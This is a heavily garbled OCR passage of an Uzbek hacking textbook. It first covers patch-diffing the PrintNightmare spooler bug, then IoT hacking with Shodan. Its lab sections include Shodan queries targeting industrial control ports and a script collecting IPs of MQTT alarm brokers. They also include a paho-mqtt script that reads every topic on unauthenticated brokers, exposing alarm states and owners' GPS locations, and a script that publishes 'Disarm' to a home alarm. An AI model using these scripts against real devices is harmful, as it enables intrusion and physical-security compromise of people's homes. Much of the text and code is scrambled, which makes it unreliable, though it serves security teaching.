Int wny 4y

Int yo; 4.
bt vie, 7,

BPC_ BINDING wammu f Bindings
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i vRestr Lttu—lyg-az-;:;:"m"“l.,nu
"l‘tuin ), yEhProviders
el
{ hProvider »
1

ig4) )
DxADVO0OCEIND0U

- DA RlaToR *
EVINT_DATA_DESC
« unsbgned Ent, | i
*,_GUID carst T.u
10 const "
void sonst -, i €
- : nat *a
- P LOA0M0 |64 (_t1grrovider b <2
_tlgwriteTenplate: long (_f

t - Jhunk_140090743,
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!
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R —augoveu;

YRever ticself(Litd);
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4-qatorda 6-versiya 2-qatorda YisElevationRequired-dan gaytarilgan ma’lu-
motlarni 0°z ichiga olgan r14-ni gamrab olganligi ko'rsatilgan, S-gatorda 7-ver-
siya 22-qatorda Yrestrictriverinstallationtoadministrat
ma’lumotlarni o‘z ichiga olgan r15-nj
dalanuvchi administrator bo‘lsa, 20

ors-dan qaytarilgan
qamrab olganligi ko*rsatilgan. Agar foy-
-qatorda 10-versiya (esi) korsatilgan. 45-qa-
tordagi shartda aytilishicha, agar v6 o‘rnatilgan bo‘lsa (huquqlarni oshirish talab
qilinadi) va v10 o*rnatilmagan bo‘lsa (administrator emas). biz A3 o*zgaruvchisi-
ni 0x8000 giymati bilan yakunlaymiz, bu ikkilik formatda 10000000000000000
ga teng. Bu bayrogni 5-bit A3 (edi) holatida 0 g4 o'rnatadi. 48-qatordagi shart
shundan iboratki, agar v7 o‘rnatilmagan bo‘lsa (o°rnatish administratorlar uchun
cheklanmagan bo‘lsa) yoki v10 o‘rnatilgan bo*lsa (administrator bo'lsa). u holda

argumentlardan biri sifatida A3 (foydalanuvchi nazorati bayroglari) ni o*tkazib.
YAddPrinterDriverEx funksiyasi chagiriladi.

Agar havola bossilsa, Microsoftning yugori darajadagi bosib chiqarish so-

cXost jarayoni uchun RPC.exe. chagiru-

)
cha- LastErrer; /7
int wv12; 4/
Cae fe=ddlsve();
oL Yensi S Myllamef - )
{
if ( WPP_GL - A - . L
t { JWPP_GLOBAL Control | BWPP_GLOBAL Control &4 Bl § }(h‘PP_G..DE&__l:un:-o] * 68162) 2 ox10) 1. )
s - f-'.-'_.a'.!?—".‘(};
WPP_SF_en(
;t J(WFP_GLOBAL Control 4 S6i64),
‘l
E ] : '}MP__H361b413hGJBfktech‘??bi!MlBAc_Y'a:eguids,
1H
)
return @i6s;
}
- 0;
(¢ ‘B exB000) . g )
- g%s
if ( 2B Yunstpmes .
return o164, )Vall.daunbjec:.e.:cusc9154, 1i€4, ai6s) )
return In:g-enl,;.gda_-iﬂte.ﬂpive,.ex‘I ‘

= T T RIS, an, s, 12, Bi6a);

28-33-qatorlarda A4 o'zgaruvchisi bayroq\ajrni ?‘zjch}ga c)'lgatl:\1 REc!t\d(:Pr-l
rinterDriverEx bilan oldingi psevdokod ?}11111p1da|g1 Aoinz iiz;rhu;acr“::;za 1? ‘:_er_
I ivmatni nazorat gila olamiz. bu spoolsv ning 0ShC g )
ls\i"\?;l;ii]c.laiieq;z?iiltﬂi] ;‘)-'xatgz? olish Kitobi kal.itlaril}i te'kshirlshr-u kuzan(l; bic:lriascij
(I\'f(lWarningN:)EIeva tionOnlInstall va . rfstrlctdrn:e-rmstfi(:l‘a_t:lon :00-1 , :?Imer.
rators). ValidateObjectAccess t;e!(sl?irllxrllr;: lc:il:letizjal;?o;;?;lfe;irlljc‘c:]nu-n ?E b
: interDriverEx-ga o°tishimiz mu V12 ' hun 2 lords
gdc:ﬁ?:;:?::t:a[)t::z\lzl 29jqator A4 da 5-bit poz'itsiylam ija:l{}g?:hg],m ;;I:}siharf\jj;
so'ngra V12 qiymatini a7 giymatiga tenglﬂshtt_llrzil; ngll::)v]z (-anII} ::n -l
aritond] : o°rnatilg » Ke)
(\1!2;2;1 mrgileg&giigdﬁn z::iirtlggr?)n:ﬁ:; va parametr o‘rnatilganligini tekshiring
seadle[:l;e ] il Agar biz A4-dagi 5-bit o*rnini on ga (.)'mata qlsak, 2.9-_qat0rd_a
: gper-I ege: - va uning o‘rniga InternalAddPrmterDrlverE.\-n} chaqi-
o F‘Jlol\'ga iy n?IZ\,:'uzckor-ﬂa tekshi?ishni chetlab o°tishga va drayverni o'rna-
triarlmz. .BLII\ ;f];i?a?}]obu esa ;IT AUTHORITY\SYSTEM lilzim foydala‘nu\;h;s];
g < ? - " § ¥
n:":;f;;::l kodni bajarishga olib kelad:.. Bu. ushbu'.yozuicfa%:‘iiziﬁz:;ﬁgf r?um%; ”
qoshimcha zaifliklar va tuzatishlarni ko rsatadi: ammo,

bo*lgan asosiy xatolardan biridir.

Xulosa . — ; i xil
lilni tezlashtirishga yordam beradlgan }kkmk 1.ahh[‘va e l‘db
rBU bObda_ tah ”I1d liO"a konsepsiyasini tekshirishning oddr;.y I'I'll.SOl.l k.o rl
e tt.alz.lr i e“, ];Iarning o‘zgarishini aniq ko'rsati'sh. tax-mmlaf'mu?nl. taBS-
C]."q']d" so'ngra m‘-glllkshirish uchun ikki so*zli yo‘lhaqida ma IumOl- l?erlld_I. .
dfqlash va tuzatishni (tje ontaj gilish tajribasi bilan chambarch::is bog I‘lq bo I:gan
ok m.Skadika N lg?llni qanchalik ko*p gilinsa, tugunlardagl_o'zgarlslhlar!:n ;’a
O"I‘ganllgal"l .ma'horﬂl- kin bo‘lgan zaifliklarni aniglash shunchalik yaxshi bok.aq;
gaﬂal'al‘\'::.llljhl lsntl:.:zil:::alari[;ina tanish versiyalaridan boshlash oson, chunki 32
a’zan Window -

bitli versiyadan foydalaniladi..

Qo‘shimcha manbalar

ics) qo‘llanmasi: www.zynamics.com/bindiff/manual/htt-
BinDiff (Zynamics) 407 i
) /manua . o -
pS:HWWW'zynamICS'COI:}/:;:niﬁilikilik farglarni tahlil gilish vositasi  [www.
DarunGrim: tuza il
.  darungrim.org) _
darungrim.org] ("‘tps'fg?;:::) com/wumb0/30d97d837c9841536998¢50b4bb3hit
PatchExtract :

'// I ‘ iy It ]":’l ni tllZEltiSh gltllubcom/wumb0/954249d 3a%a

02d83998d2553https:/gith

i ikkili
“Teskari aloga iKKi
Byorn De Satter va Jonas maye¢

b conﬂwumb0/954249d39595339302d83998d2553
Lll(.kodini diversifikatsiya qilish” (Bart Koppenfs,
be) users.elis.ugent.be/~bcoppens/publicati-

G




ons/2003TACO-Coppens.pdfhttps://users.elis.ugent.be/~bcoppens/publications/
2003TACO-Coppens.pdf

“1 kunlik eksploitga qarshi kurash: turli xil ikkiliklar va turli xil ikki-
liklarga qarshi kurash”  JeongUK .blackhat.com/presentations/bh-usa-09/OH/
BHUSA09-Oh-

DiffingBinariesPAPER  pdfhttps://www.blackhat.com/presentations/bh-u-
sa-09/OH/BHUSA09-Oh-DiffingBinariesPAPER.pdf

patchdiff2 (Nikolas Puvesle) code.google.comfp/paichdiﬂ?.htlps:/fcodc.
google.com/p/patchdiff2/

Back2TheFuture github.com/Sachal.ab/Ba2k2Th1Future https://github.
com/Sachal.ab/Back2TheFuture

Bluehexagon tahdidlarni bartaraf etish bo‘yicha tavsiyalar  bluchexa-

gon.ai/blog/threat-advisory-2020-05-aka printnightmare!https:f/bluehexagon.aif
blogfthreat-advisory-2020-05—aka-pri ntnightmare/
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19-BOB. BUYUMLAR INTERNETIDA XAKERLIK

Mazkur bobda quyidagilar o'rgm:siladlz

— Internet of Things (loT): loT mma eka
Muammolarini tushunish. _

— Shodan loT gidiruy tizimi: S (
qidirish va ularga kirish imkoniyatlari. -

— loT qurtlari (worms): JoT qurtlari qanday
rivojlanganligi haqida.

nlieini. uning xavisizlik zaifliklar va
hodan gidiruv tizimi orqali loT qurilmalarni

ishlashi va bu tahdidning qanday

. v va'ni ings (IoT)”

Ushbu bob Internetga ulangan gurilmalar :\'iah?rlincllzlil i:‘;i:aof9gg-yfld; MI%-

hagida so*z yuritadi. “Internet of Things atam‘filhl b silarpan queditalr s

da Kevin Ashton tomonidan kiritilgan. 2008-y1 gaa ushb‘u quriTmalaming i
insoniyat sonidan oshib. 8 milliardga yetgan. bues

ligini tobora muhimlashtirgan.

L c &

: i ‘ining soni 14 milli-
Ning ma’lumotlariga ko'ra. 2023-)’”,33 kelib d['?c.ir 232;1?&;%2& har bit ihsoil
ard&an oshishi kul‘ilmoqda. Bu shuni anQ}ata Ilb ; ﬁu;ilmal:r bizning heyotimizn
uchun deyarli ikki ulangan qurilma bo-]ad!'] UZZQ;? bir vaqtda, agar ular noto*g"ri
bOShqaril; bizning nomimizdan harakgtq' ayolg ool ik et Bl
sozlane " on ishlab chiqilganyokl Itlfeme'tg.a.sl g cieis e ol
" S;;"L;T:n}l?;jlsa qanday xavfsizlik tahdidlarini keltirib chiq g

tushunish juda muhim.

i neti
Buyumlar internett G
lik qiﬁnlﬂasa “hack gilinadigan narsalar Interneti
: ’

ib bo‘lgan. Eng xa-
-aravon allagachon boshlani lgz g

o jal:?lzzr ko*pincha qulaylikni xavfsizlikdan Ll§tun
lik masalalari hagida xavfsizlik mutaxassisla-

[oT qurilmalari ehtiyofkor
ga aylanishi mumkin. Aslida.
votirli jihati shundaki. foydalanuve
qo‘yishadi va hozirgi paytda xav{siz

i ‘uri di.
M kutgan darajada qayg urishmay

Ulanish turlari S

i xil o‘lcham va shakllarga ega b.o ok, Dt i e

i tun ishlatiladi, masalan, zavoddagi robotlar, l?OSi{-
O iya qilinadigan qurilmalar kabi mayda bo'ladi.

Ulangan narsalar bir q
katta texnologik inshoofla i
Qalari esa kichik tibbiy implanta
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I

Aynigsa, kichik qurilmalar cheklangan xotira. ishlov berish quvvati va energiya
talablariga ega bo‘lgani sababli xavfsizlik masalalariga duch kelad;.
manbalari batareyalar, quyosh energiyasi, radio chastotalar (RF
orgali ta’minlanadi. Ayniqgsa, uzoqdagi kichik quri[malaming en
cheklanganligi tufayli shifrlash kabi xavfsizlik nazoratlari juda ko*p energiva ta-
lab qilishi mumkin va bu nazoratlar umuman o*rnatilmasligi xavfi mavjud.
= Aqlli qurilmalar: Aglli uylar, texnika, ofislar, binolar, shaharlar. energiya
tarmogqlari va boshqa shunga o-xshash texnologiyalar.
— Kiyimlar: Harakatlarni kuzatish uchun mo :
medikal kuzatish vositalari (masalan, to‘lov va g
ega aqlli qurilmalar).
— Transport va logistika: RFID to*lov datchik
tibbiy mahsulotlarni monitoring qilish, masala
— Avtomobilsozlik: Avtomobil]
haydash texnologiyalari.
— Ishlab chiqarish: RFID orqali
yig‘ish jarayonlari va ehtiyot qismlar h
— Sog’ligni saqlash: Sog‘ligni mo
zatish vositalari.

Energiva
) yoki tarmoglar
ergiva manbalari

og*ligni kuzatish imkoniyatlariga

lari, jo‘natmalarni kuzatish va
N, qon va dorilar.

ar uchun datchik|ar. telemetriya va avtonom

ta'minot zanjirini kuzatish. robototexnik
aqiqiyligini aniqlash,

itoring qilish, dor; yetkazib berish va ku-

: q.ali ehtiyot qismlar haqiqiyligini tekshirish, uchuvchisiz
havo transporti boshqaruvi va yuk yetkazib berish.

— Telekommunikatsiyalar: Aqlli qurilmalarni GSM. NFC, GPS va Bluetooth
bilan ulash imkoniyatlari.

zati qat ta'minoti va sovuq zanjiy monitoringi, shuningdek. ekin
aylanishi va tuproq sensorlari orqalj kuzatish, |

— Energetika sohasi: Energiya ishlab chj
boshqarish va to‘lov tizimlari,

qarish, saqlash, yetkazib berish.

A

Zigbee: IEEE 802.15.4 protokoli gisqa va o'rta masofadaii all%CIarlj;SLll]c]:;rn
— Ziobee: IEEE 802.15. : . “1ib, =
ishlalilaai. Bu kam quvvat sarflovchi qunlm‘alar uc::rl::anl:(;il :fabar yetkazishi
mog*iga eva bo'lishi tufayli uzoq masofadagi tuguniarg
mumkin. ishlatiladigan standart bo‘lib. past
_ ‘ G ofada ishlatiladig AeBEs
~ Z-Wave: Z-Wave qisqa va o°rta masof  Wi-Fi th kabi radio
chast cf aixzt::Qéhda ggg] 42 MHz) ishlagani sababli W](;Fl lvz;\ l:ll:;too
ada (A SR S qi uch keladi.
signallar bilan raqobat qil‘“ﬁ-\rd;. VS kén;?g';so(\fgg:ski Bluetooth versiyalariga
— Bluetooth LE: Bluetooth Low i aloga shakli hisoblanadi. Lekin u
. di va “aqglli” aloqa . -
hisbatan k: uvvat sarflaydi va "aq +fon yoki boshga ko*prik quril-
lolb{t?d:::;:nl\ ’:::‘10?' i?ﬁtcmetua ulana olmaydi va smartfon yoki boshq R
malari orqali ulanishi kerak:d _
~ 6LoWPAN: [Pv6 ustidagi &
PAN) IPv6 paketlarini 802.15.4 (%l%bggl
birga ishlatilishi mumkin va [P bilan b0g

i csiy simsi lar (6LoW-
- tli shaxsiy simsiz tarmoql: )
b qu::r?noqlari orqali yetkazadi. Zigbee bilan

‘lanishni ta'minlaydi.

Aloga protokollari

. _~¢llaniladi. Ularning soni ko*p bo*l-
— : rli aloqa protokollar: qo |laniladi. Ularning
0T tizimlarida tu i dagilardir:

Lo oo olard quY c0*p qo‘llaniladigan
Sa-da. eng ko'p islllauladlgi I::iii: %eiemetw Transport): En]g !\:ulrjscgl;:aazlilidlig .
=) 5 L = s 1 v ini € ’
- MQTT (M‘L§Sﬂéie.l? kam quvvat sarflaydi va mmimal)l, Xabar almashish va
Protokollardan biri b(?b[ll -NleSSa"linﬂ and Presence Protocol):
— XMPP (Extensible i

" ol.
tiriladigan protoko s
Mavjudlik monitoringi uchun kengaytl;{)r Real-Time Systems): Realtime tizimlar

istribution Service i ma’ ar uchun ishlati-
L Dlsmb[ms";:visi bo*lib, real vaqtdagi ma lumotl
Uchun ma‘lumot tarqatish .
‘ - Ile*or xabar navbati yara-
*h Message Queuing o Ili cl;r']m1b:11a"11umot a}lma-
o €SS o i e . 113 1lai
- - AMQP (A(-ilw:;']m: o xavfsizlik va ishonchlili
ISh uchun ishlatiladi v
Shishnj ta’minlaydi. .
izli salalari G5 o i
Xavfsmlk;{‘ l?lmollarning maxfiyligi. }'a"‘l“_l‘ﬁf
d?‘ ml T qurilmalarida bu tartli:f o‘zgarishi
Bl Masalan, tibbiy qurilmada aso-
avjud bo‘lmasa, boshqa

sizligi
An’anaviy tarmoq xavf

: iladi. 2 X
Va mavjudligiga e’tibor _Qf’ratl.li.riIIEa qo‘yiladi.
Mumkin, va mavjudlik blrln::hc;i chunki agar qurilma m
X . " “ladl. "
S1y e’tibor mavjudlikda boac! bo‘lib goladi.
Xavfsizlik masalalari ahamiyatst”

: lari:
Qo*shimcha xavfsizliK mu-an;:;()ki i
- Zaifliklam) yamoqlaSh . da resurslar va
= Kichik o hifilash .
Xavfsizlik choralarini, masalat, '!::ing yo‘qligl
— Foydalanuvchi in-terfeysllin
Nazoratdan chetda qolishi mu™

iz bo*lishi mumkin. y
e quvvat cheklangan bo‘lib, bu

iyinlashtiradi. . '
fql}m.:,ababli qurilma yillar davomida




— MQTT kabi protokollarning shifrlash, autentifikatsiva va xavfsizlik sozla-
malari bilan bog‘liq cheklovlari mavjud.

Shodan IoT qidiruv tizimi
Shodan — internetga ulangan qurilmalarni qidirish uchun mo-ljallangan qi-
diruv tizimidir. Shodan oddiy veb-sahifalarni emas, quri]ma]arning bannerlarini
qidiradi va indekslaydi. Bu tizim loT qurilmalari hagida keng qamrovli ma’lumot-
lar to*playdi va xavfsizlik mutaxassislariga turli banner]
beradi. Biroq, banner tahlili va skanerlash imkoni
senziyaga ega bo*lishni talab qiladi.

arni tahlil gilish imkonini
vatlari uchun Shodan pullik lit-

Veb interfeys
Agar vaqt yo‘qotishni xohlasangiz yoki
o‘tkazishni istasangiz, https://images.shodan.
mumkin (yillik a’zolik uchun $49 to*jov talab
netga ulangan qurilmalarning suratlarini topish
suratda katta yoshdagi kishi va ularning itinj k
da keltirilgan).

bir necha soatni qiziqarli tarzda
io saytiga tashrif buyurishingiz
qilinadi). Bu yerda turli xil Inter-
ingiz mumkin. Masalan. quyidagi
o°rishingiz mumkin (hazil tariqasi-

e

Wt xtatish™ tugmachalarini ko‘ri-
ga ega bo-lishingiz mumkin. Masalan. 10 .\fat:sh S:OEL - adiy xavfsizlik
;hin;iy lﬂLl['l"Iki];bU‘]!l‘.an imert‘cyslar C]lquShl mumkin.

muammolarini ko rsatadi.

- oa (ICS) qiziqsangiz va ba’2} umumiy I(.?S
igal dagi xizmatlarni ishga tushir-
idbaai qidiruv satridan foyda-

tizimlar ;
ammo boshqa tut
ngiz, quy

: aruy
Agar siz sanoat boshqé

; - ayotgan.
Xizmatlarini ishga 11151111‘-_‘)’.01‘%fota;111 bo'lsa
Mayotgan qurilmalarni qidirayotg

lanishingjz mumkin:

3 2 -' ! _Icle &
9]1,4911 47808, 446'3};‘;8;.;;4’ country: US -ssh -hitp -html-ident,
s 2455,2404,20%¢ :

“port:502,102,20000.1 007,9600,789.

8246,5094,1962.5006.9 | ICS xostlari mavjudligini ko‘rsatadi, ular
a

si DENT kabi umu-
Ushbu gidiruv 672,501_tad[;0$: mo HTTP, HTMLl;;il?J;ifr;ydigan shaharlar,
ICS xizmatlarini ishga tushira a, i Shuningd_ek, eng ! { joylashtirayotgan tashki-
Miy xXizmatlarni ishga tuSl:llr:-ﬂ v: ushbu ICS xizmatlarint ]
€ng keng tarqalgan xizmatia
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lotlar hagida ma’lumot olishingiz mumkin. Albatta. qo*shimcha filtrlar Kiritishi-
miz va honeypotlarni chiqgarib tashlash kerak, ammo by boshga mavzu,

Shodan gidiruv natijalarini yanada aniqlashtirish va statistikalarni olish uchun
“Facets™ funksiyasidan foydalanishingiz mumkin. By fbydalanuvchi]arga qidiruv
bilan bog*liq qo*shimcha statistikalar bo‘yicha chuqur tahlj] qilish imkonini bera-
di. Misol uchun, rasmda ko‘rsatilgan “Top Ports™ bo*limida “More.. " tugmasini
bosganda. quyidagi ko*rinishni olish mumkin, bu yerda mahsulotlar ro‘yxati va
har birining soni keltiriladi. Qo*shimcha tahli] qilish uchun pastki ro*yxatdagi Fa-
cet ni o*zgartirish mumkin. -

672.501 New Ssivice: wee; triCh of wegt Nt the ink
i 2 it ]
—— 107.154.150.160
RLES 1
Redworcd
Cay 120
-
Mourtam View "
Sial GI.ME g
40,106
Los Angees
A 35.190.70.24
F0000 95 543 -
Pelg LR BN il | g
1 %.135
armoy 13087 34.117.87.40
Juial 3014
-
19. I-rasm

bash shodan injs YOUR AP kpy
2. Qidiruy: _
Shodandan qidiruv natijalarinj of;
S 1jala idagi
gt Jalarini olish uchyp qQuyidagi buyruggan foydalani-

KT}

bash shodan search “your search query

3. Natijalarni ko-rish: ' N

Qidiruv natijalarini ko'rish va filtrlar qt o

bash shodan search *port:80 country:

4. Xususiy natijalarni olish:

Maxsus nat ijaiarni olish uchun.
qo°shishingiz mumkin:

bash shodan xost lP__ADDRESS

5. APl ma’lumotlarini olisl*::

Shodan API'dan foydalanis] 4
bilan ishlash imkoniyatiga ega bo*lasiz.

Facet Analysis

mkoniyatiga ega bo’lasiz. Masalan:

cerakli parametrlarm
+ ailish uchun kerak
buni qilish

idiruv va natijalar
wroq qidiruv
. vanada chuqu
1 orqall ya

Hiapara Fon
Foagarad Staton

Pod Lisn Controls
Fagaradx Slalon
MACH Prowetlom
Tracee SC

slMGH

LCa2S

AAM.Router a -1-L-rl\;f'|,'f_f.\'.‘l(itf
o Ji Linix 2021.1 (o4 m”' ﬂ Sho-
Jivotlar Kali % i kerak. Shuningdek. .
i

] 2
X grd s ‘Joean API
Eslatmal: 1 'shhu bobdag Ii olish mumkin bho g

s larit
oppsivala
S s VOFST s
Yarildi, ansinie hoshqa Lim iloan hisobi!

' ; ) thaz
an dan hepul ro _1‘.\':.'!;/1.‘” (

‘-‘i’.’f.*"!:u chtivoj bor:

I,_‘-f-*': orgd

-va ishi 19.1:
atoriya % lanish . . .
- Otrga -

-+ bilan boshlanadi.
uyruq pI kaliti b
Ushbu amaliyotda Shﬁdan.b gy idagi tarzda A

4 Shodan CLI o*rnatilgan. UM

9 £}
“% shodan info

Q"?f:v credits available: 1 00

Scan credits available: 100




|\||' | |

Nihoyat, IP-manzil, port, org va xost nomlarini ko*rsatib. VTH (Virtual tar-
moq hisoblashlari) xizmatlarini topish uchun skanerlang:

7 shodan search --fields ip_str.port,org hostnames RFB > results. txt
% we -1 results. txt

101 results.txt

% head -3 results.txt
186.10.40.11 8334 ENTEL CHILE S.A. =2 l0.entelchile.
68.51.127.103 5901 Comcast Cable Com
hsdl.in.comcast, net

169.229.136.161 5900 University of California ar Berkeley tol2
berkeley.edu

net
munications, Inc. c-68-51-]2 7-103.

mecs. soe.

Buyruq qatori vositasining bir Xususiyati —
yati. Honeyscore — bu Shodan tomonidan ish]
saytning honeypot ekanligini sinovdan o‘tkaza

honeyscore™ni tekshirish imkoni-
ab chigilgan heuristikalar asosida
digan ball.

% shodan honeyscore 54.187. 1 48.155
Not a honeypot

Score: 0.5

% shodan honeyscore 52.24 188.77
Honeypot detected

Score: 1.0

Buyerda 19.1-rasmda ishlatilgan Facets’nj qanday ishlatish misoli keltirilgan:
% shodan stats ~-facets ciry: 3, product; 3 "port:502,102, 2000
3,18246,5094,1962,5006,5007, 9600 789.2455,2404,20547 couny
-5sh -http ~himl -ident”
Top 3 Results for Facet: city
Kansas City 317,769
Redwood C, ity 112,706
Mountain View 63,42}
Top 3 Results for Facet: product
Niagara Fox 10,047
Niagara4 Station 1,397
Red Lion Controls 1,337

0.1911,4911,47808, 448, 18,1824
V:US

Boshqalar Shodan ma’lumotla

" ! riga Python j : iehni afzal
ko‘rishlari mumkin, albatta, bundan haIl)ny fo;d;?terfeymdan Prdilanishnl &

anish mumkin. Shodan Python

A

. o keladi. lekin kutubxo-
) : rea keladi. lekin :
\toridagi vositalar bilan birg hirish mumkin.
kutubxonasi Shodan buyruq gatoridag rdamida amalga os

: in. buni pip Y0
nani alohida ham o-rnatish mumkin

: I sinovi _

Laboratoriya ishi 1?.2: S-h(-)gi::::l?l:\m kaliti kerak bcr'ladli

-atorivada shodan AP sinab l\?j v filtrdan foydalanilmaydi. CL;_

UShbu‘ lummw“}"*l laydi. chunki hcch.qz,m ia, ichiea olgan va AQShda joy

o 'bu by ';1 ‘;crua alarm so’zint 0°Z skr?Pti yaratiladi. Ushbu kod

O Matilgandan so'ng. banr ~idirish uchun Python ¢ h saytida va GitHub ombo-
lashgan MQTT Xiﬂ“m}h:ll?(;dc]lqrni itobni yuklab ofis

Va ushbu bobdagi barch: ¢

rida topish mumkin.

0% sudo apt install python3-vem g
gf'-'rm'urvd' ' v lab-19 && source Jlab-19/bin

Y pvthon3 -m venv lab-
0% ;J-.'}';l install wheel 7
Collecting wheel >y 2PV 3-none-any-wi
uﬁ”ﬂ cached u*h;.’c.-'--‘)‘-m-—‘f? "" ;:1.‘#
Installing collected _r:uck.::gt‘.\(v’ 451
Successfully installed wheel-01.50-
O% pip install shodan
Collecting shodan
Downloading shodan-1.

(33 kB)

. amcated>
(51 kB) 51 kB 389 kB/s <trunc

25.0.tar g

conasini buz-
. ‘thon kutubx ; b
ishda tizim Py : bo'li umkin.
nalarini Obl'na“Shqao*rnatish foydali bo llsila::)toanda
- - "() L - }I ; : < D
Yangi Python I\utul:s n Virtual Mghlil |lashtiriladi. M(_)dul 01rr11rl mabe i
Yk uchun Python uCTt tiladi va un! fao tlarni kamaytirish ueht
1Vi Tuhitni o rnatile ya )
angi Virtual Muhitni ©

; larni, ma-
01 ha idagi shiko bo‘lgan har qanday modul
“Wheel” o*rnatilmaganligi had WEESE

riy
O"matamiz. Hozirda la.bofzftaztis
Salan, shodan modulini 0°11

% cat mqu-search.py

import shodan B
def ‘shodan_search(): nyOQUR A pl KE}
SHODAN APl KEY =" oo N
SEARCH = "mqtt alar <7805 py KEY)
api = shodan. Shodan(SH 0 -

!er_-

results = api.search( SEA f_zgif‘,u) as f:

\: mnatt-results.©;
With open("mqtt-rest hes'[:

Jor result in results[ i’"‘"‘f E 7
searching = resull] '::Qd;‘"”
Lwrite(searching + )
except shodan.APIEYTO"
Pbass

Shodan search()

ase!




Keyin, MQTT qidiruvini amalga oshiramiz va natijalarni kuzatamiz:

% pyvthon mqtt-search, py
% head -3 mgut-results. txt
104.248.4.175
209.33.212.3}1
198.199.109.124

Laboratoriya ishi 19.3: MQTT protokoli bilan
tajriba o‘tkazish
Oldingi laboratoriyada “mqtt alarm™ qidiruy
bo*lib, u MQTT ishlayotgan va alarm kuzatib {
uchun ishlatilgan. Ushbu laboratoriya ishida, na
qo*shimcha ma’lumotlar uchun skanerlash amalg
Pasknel tomonidan berilgan misoldan olingan.

satri Shodan’ga taqdim etilgan
urgan 1P manzillarini aniglash
tijalardan birining 1P manzilini
a oshiriladi. Quyidagi kod Victor

% pip install paho-mq

Collecting paho-mqtt

Using cached paho-mqu-1.5. 1. 1ar gz (101 kB)

Building wheels for collected packages: paho-mgtt

Building wheel for paho-mqtt (setup.py) ... done

Created wheel for paho-mqu; Silename =paho_mqit-1.5, | ~Py3-none-any.vvhil

Size=61546 sha256=11308bd024a] b7dSac47ba69941 35, d81854d2aba6 28349( 188ae4fe3/7866f1”

Stored in directory: /home/kali/ cache/pipvheels/22/p 9019 l16467
- - 6467 41849
e8862023212023M0f2a50a4479b8a3 204 /64674f849b8a

Successfully built paho-mqtt

Installing collected packages: paho-mgqt
Successfully installed paho-mgtt-1.5.

% cat mqt-scan.py

import paho.mgtt.client as maqtt

Odef on_connect(client, userdata, flags, re):print("{+] Conne
client.subscribe('#", q0s = 1) # Subscribes to ajl lopics

Odef on_message(client, userdata, msg):
print('[+] Topic: %s - Message: %s' %,
Oclient = maqtt.Client(client id =
Oclient.on_connect = on_connect
Oclient.on_message - on_message

Oclient.connect('IP GOES HERE - MASKED' 1883, 30
Oclient.loop_forever() ' '

ction successfil")

(msg.topic, msg.payload))
"MatiClient”)

Ushbu Python dastur oddiy: “m -
dastur dastlabki ulanish uchun @ ]q .?hem l\ul”hX el 0" N<gs
- (ulanig), i hi i Onasing v klapandan so N
mavzularga obuna bo'lish) va Xabar ' ‘lbill‘n}‘ vhi Yu ng.lllt ‘u.‘ ¥ ha
back’larni aniqlaydi. Keyin, Mijoz @ . U qiling Iarish v serverdag! barcu—
dan o'tkaziladi Oxirida, Mijoz Ulan: YXatga (xabarni chigarish) €2

L o y o ;
T manling o zgaiving) . ishea @ (5, 14 va callgekiar 9o Y
Mlad; i

u i
vVa "‘lylanqatornl O°zgartirish uchun }’aShl
D "9 ga o'tkaziladi.

'- ] _ suski ,\'!‘i'h'!i‘i‘”Q H(.'j?HH
' ritikatsiva talab qilinmay di n{f.\ff.\f\ﬂ. ",
e b ok B T T e wrar ko rmagan.

! il e liclr far -1',;;35-,!1.4 hiroria ””:‘.VIHFALHIE-' =4

W fHinnii NI ol OLEXTT JArdyolite N

S b ini i ini i1shega

b v aShlSh) skanerin h
‘ g TXNT (r lemetriva va xXa Ell"lﬂl" navbatini L
0'ng Al ¢ ) ©

tushiramiz:

rootakali:~# python mqtt-scan. py

[+ ] Connection successful -
: f ”‘ .: d ”‘“t'c ‘!0(”.. - el | gy Ry | - ."-.’L’SSage: FYI T T e

/1] f*! -‘.- N' “ s CHANGED bmmmp.m::_ gt PR ot

[+] Topic: owntracks Aissioi s satt" o

mid""C HL‘:(\JGED”” *’fs!"_‘CHANGEDr " cp™

" Disarm

ed

age: On

" _type":"location”, *
47.CHANGED00,"lon":-31.C e
F4] Topiec homp/olarvies ot -‘;.f¢1i;'¥;1'?-;,': disarn .
[+ ] Topic: home alarm/st ‘“'c,. ~i b 'f;‘:sr'mp.\'m:- Message: " ar':-
{+] Topic: owntracks CHAN OE‘?G!E D" "acc":3, “hatt": 100, cmf": : we) ‘

" ) E e otrg s JHL T _.’\. ' " j B -H' cp':true;
{ -ope s ”f.!.".; f éi;f;;\rcwn 1 mst"-MASKED."_cp
A7 CHANGEDOI, "lon":-31.C 1T

il gilinadi.

Natijalar keyingi bo'limda tahlil qilina T D= N s
tentiﬁkatsiyalarsiz l.u.nshn:;%aqgt it
ining cl qishi shuni ko‘rsatm—mﬁ]ﬁ umy aks ettiradi. Shuningdek.
G R T “g' balki garai hplat }f dasturi orqali. egasi uydan
oy Chirilgan) koo - layotgan OWnTracks (SR b motlar tagdim
C?}:{dala"‘u"/cm“i“g ;e]e;’(i):‘];';ha S'“)%iyada i LAtishini bilib olish uchun polit-

1qib ketganini va har

; rydan qayti>t i, ba'zi u
' o3 coasi qachon W .1 yana bir yomon tomont, b y
Cllayotganini bilamiz. Bu. €8 o-rqinchli! Y2 ’

imk di. Yozish
5 : i juda 4 . sishea ham imkon bera ;
SIva skaneri kabi. Vahiy: .bu.Jlilghdan tashqart 3’0231511%1chun obuna bo‘lish o*rniga,
irish tizi ctadi in 3
i i u,:;mla'rl 21:1] ga Oshmlad}, shlmnaiiqalda mavjud emas, bu faqat
Publish komandasi orqall]\,;lqsﬂ ;n soxta tizimga (
Publish gilish mumkin. M 5
. . akin.
nTlSO]) soxta buyruq berlSh mun . I;”“f” ;;”'i'f'”‘ﬂ’”
fiz Y
: - oichli ho fmagan o ‘tishi mun
Eslatma! Tegishli bo IMUs=<s i kesib 0
O Zgartivish b “'I;fi”""f“”'-"' chiziglarn
“ni kesib o radi.

- - - i (
Mana, soxta tizim m1§gLH_
Or Victor Pasknel tomomni

MQTTga 2

herish va konfiguratsivani
r : igw! aEE
kin va albatia etik chizig

irish magsadida keltirilgan), yana bir

1 _ .
faqat tUShU‘ P sk ;5‘(\11\’11%3“'

perilgan mis

% cat mqtt-alarm.py —

import paho.mqtt.client @ data, f1ags: re):
def on_connect(client, user<c =
Pr:‘nr("_/ +] Connection succ-jsg
client. publish( '.’i'mur!é.’f'fﬂ_r arm 3
client = mqu.Client(clien’ ‘
client.on connect = un_coz 2
client.connect('IP GOESH

"
s5") :
. ¢ "Disarm")

=" fqﬂc‘ﬁen{")

!
ez-ll !883, 30

